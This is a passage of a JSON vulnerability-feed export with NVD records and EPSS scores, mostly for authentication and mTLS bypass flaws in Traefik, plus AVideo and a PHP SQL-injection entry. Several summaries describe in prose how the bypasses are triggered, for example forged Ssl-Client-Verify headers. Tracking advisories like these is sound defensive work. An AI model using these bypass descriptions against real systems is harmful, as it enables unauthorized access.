2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:57.403Z","updatedAt":"2026-10-22T15:39:30.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114656","asOf":"2026-10-22T15:39:30.497Z"},"epss":{"probability":0.00163,"percentile":0.05404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114656","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114656","type":"primary","publishedAt":"2026-10-22T02:16:57.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114656, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114642","cveId":"CVE-2026-114642","aliases":[],"kind":"vulnerability","title":"Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's...","summary":"Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's TLS client configuration is reused for another service's backend. An unauthenticated client can arm the slot via a backend issuing an NTLM or Negotiate challenge, then reach another service on the same keep-alive connection, bypassing its root CAs, server name, and certificate verification.","detail":"Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's TLS client configuration is reused for another service's backend. An unauthenticated client can arm the slot via a backend issuing an NTLM or Negotiate challenge, then reach another service on the same keep-alive connection, bypassing its root CAs, server name, and certificate verification.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:57.250Z","updatedAt":"2026-10-23T15:17:27.383Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114642","asOf":"2026-10-23T15:17:27.383Z"},"epss":{"probability":0.00203,"percentile":0.1013,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114642","type":"primary","publishedAt":"2026-10-22T02:16:57.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114640","cveId":"CVE-2026-114640","aliases":[],"kind":"vulnerability","title":"Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client-* headers on...","summary":"Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client-* headers on the plaintext HTTP router. When ssl-redirect is disabled alongside auth-tls-pass-certificate-to-upstream, unauthenticated attackers can send Ssl-Client-Verify: SUCCESS with a chosen certificate subject and issuer to impersonate mTLS identities.","detail":"Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client-* headers on the plaintext HTTP router. When ssl-redirect is disabled alongside auth-tls-pass-certificate-to-upstream, unauthenticated attackers can send Ssl-Client-Verify: SUCCESS with a chosen certificate subject and issuer to impersonate mTLS identities.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:56.947Z","updatedAt":"2026-10-22T15:39:30.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx","Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114640","asOf":"2026-10-22T15:39:30.497Z"},"epss":{"probability":0.00202,"percentile":0.09997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114640","type":"primary","publishedAt":"2026-10-22T02:16:56.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114639","cveId":"CVE-2026-114639","aliases":[],"kind":"vulnerability","title":"Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token...","summary":"Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token authenticates a socket in the globally shared backend connection pool, which is never isolated. Unauthenticated attackers on separate frontend connections can be assigned that NTLM/Kerberos-bound socket and perform reads or writes with the victim's identity.","detail":"Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token authenticates a socket in the globally shared backend connection pool, which is never isolated. Unauthenticated attackers on separate frontend connections can be assigned that NTLM/Kerberos-bound socket and perform reads or writes with the victim's identity.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:56.800Z","updatedAt":"2026-10-22T15:39:30.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114639","asOf":"2026-10-22T15:39:30.497Z"},"epss":{"probability":0.00311,"percentile":0.23686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114639","type":"primary","publishedAt":"2026-10-22T02:16:56.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114638","cveId":"CVE-2026-114638","aliases":[],"kind":"vulnerability","title":"Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide...","summary":"Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide after dot-to-dash normalization. Attackers holding certificates from another host's CA can access a host requiring its own client CA, while that host's legitimate clients are refused.","detail":"Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide after dot-to-dash normalization. Attackers holding certificates from another host's CA can access a host requiring its own client CA, while that host's legitimate clients are refused.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:56.653Z","updatedAt":"2026-10-23T15:17:27.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx","Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114638","asOf":"2026-10-23T15:17:27.220Z"},"epss":{"probability":0.00219,"percentile":0.12281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114638","type":"primary","publishedAt":"2026-10-22T02:16:56.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114637","cveId":"CVE-2026-114637","aliases":[],"kind":"vulnerability","title":"Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated...","summary":"Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend connection where a victim completed an NTLM or Negotiate handshake, letting them read victim data and act as that victim.","detail":"Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend connection where a victim completed an NTLM or Negotiate handshake, letting them read victim data and act as that victim.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:56.503Z","updatedAt":"2026-10-22T15:39:30.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114637","asOf":"2026-10-22T15:39:30.497Z"},"epss":{"probability":0.00299,"percentile":0.22413,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114637","type":"primary","publishedAt":"2026-10-22T02:16:56.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114636","cveId":"CVE-2026-114636","aliases":[],"kind":"vulnerability","title":"Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS...","summary":"Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS entry points never applies the Ingress's access-control annotations. Unauthenticated attackers reaching the HTTP entry point with the Ingress host can access backends protected by auth-type, auth-url, or whitelist-source-range annotations, with nothing logged.","detail":"Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS entry points never applies the Ingress's access-control annotations. Unauthenticated attackers reaching the HTTP entry point with the Ingress host can access backends protected by auth-type, auth-url, or whitelist-source-range annotations, with nothing logged.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:56.310Z","updatedAt":"2026-10-22T15:39:30.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx","Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114636","asOf":"2026-10-22T15:39:30.497Z"},"epss":{"probability":0.00256,"percentile":0.17028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114636","type":"primary","publishedAt":"2026-10-22T02:16:56.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114635","cveId":"CVE-2026-114635","aliases":[],"kind":"vulnerability","title":"Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil.","summary":"Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.","detail":"Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:56.140Z","updatedAt":"2026-10-22T15:39:30.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114635","asOf":"2026-10-22T15:39:30.497Z"},"epss":{"probability":0.00198,"percentile":0.09491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114635","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114635","type":"primary","publishedAt":"2026-10-22T02:16:56.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114633","cveId":"CVE-2026-114633","aliases":[],"kind":"vulnerability","title":"WWBN AVideo before 29.4.0 contains an incorrect authorization vulnerability that allows delegated Users Admin accounts to delete or modify administrator accounts.","summary":"WWBN AVideo before 29.4.0 contains an incorrect authorization vulnerability that allows delegated Users Admin accounts to delete or modify administrator accounts. Attackers can submit requests to confirmDeleteUser.json.php or userAddNew.json.php targeting administrators to delete their videos and accounts, or change and demote them.","detail":"WWBN AVideo before 29.4.0 contains an incorrect authorization vulnerability that allows delegated Users Admin accounts to delete or modify administrator accounts. Attackers can submit requests to confirmDeleteUser.json.php or userAddNew.json.php targeting administrators to delete their videos and accounts, or change and demote them.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:55.837Z","updatedAt":"2026-10-22T15:38:50.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114633","asOf":"2026-10-22T15:38:50.610Z"},"epss":{"probability":0.00314,"percentile":0.24047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114633","type":"primary","publishedAt":"2026-10-22T02:16:55.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114577","cveId":"CVE-2026-114577","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/insert.php of the component Insertion Handler.","summary":"A vulnerability was found in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/insert.php of the component Insertion Handler. The manipulation of the argument costomer_id/payment_type/amount/description/user/uploadimage/full_name/visa_no results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was found in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/insert.php of the component Insertion Handler. The manipulation of the argument costomer_id/payment_type/amount/description/user/uploadimage/full_name/visa_no results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:16:55.650Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114577","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00343,"percentile":0.27571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114577&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114577","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114577","type":"primary","publishedAt":"2026-10-22T02:16:55.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114577&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114577, scored 2026-10-25. This is a model estimate, not proof of 